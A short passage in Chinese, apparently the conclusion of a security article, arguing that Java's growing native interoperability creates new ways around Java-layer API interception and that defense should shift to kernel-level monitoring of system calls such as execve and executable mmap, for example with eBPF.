语言层面每引入一种新的 Native 交互能力,就可能产生新的绕过路径。更持久的方案是监控底层行为——无论上层通过什么 API 发起调用,最终的系统调用行为(execve、mmap+PROT_EXEC)是不变的。eBPF 在这个方向上的价值会越来越大。

Java 从一个纯托管的沙箱语言,逐步演变为拥有直接 Native 互操作能力的系统级语言。安全防护的思路需要随之演进——从 Java 层的 API 拦截,向内核层的行为监控下沉。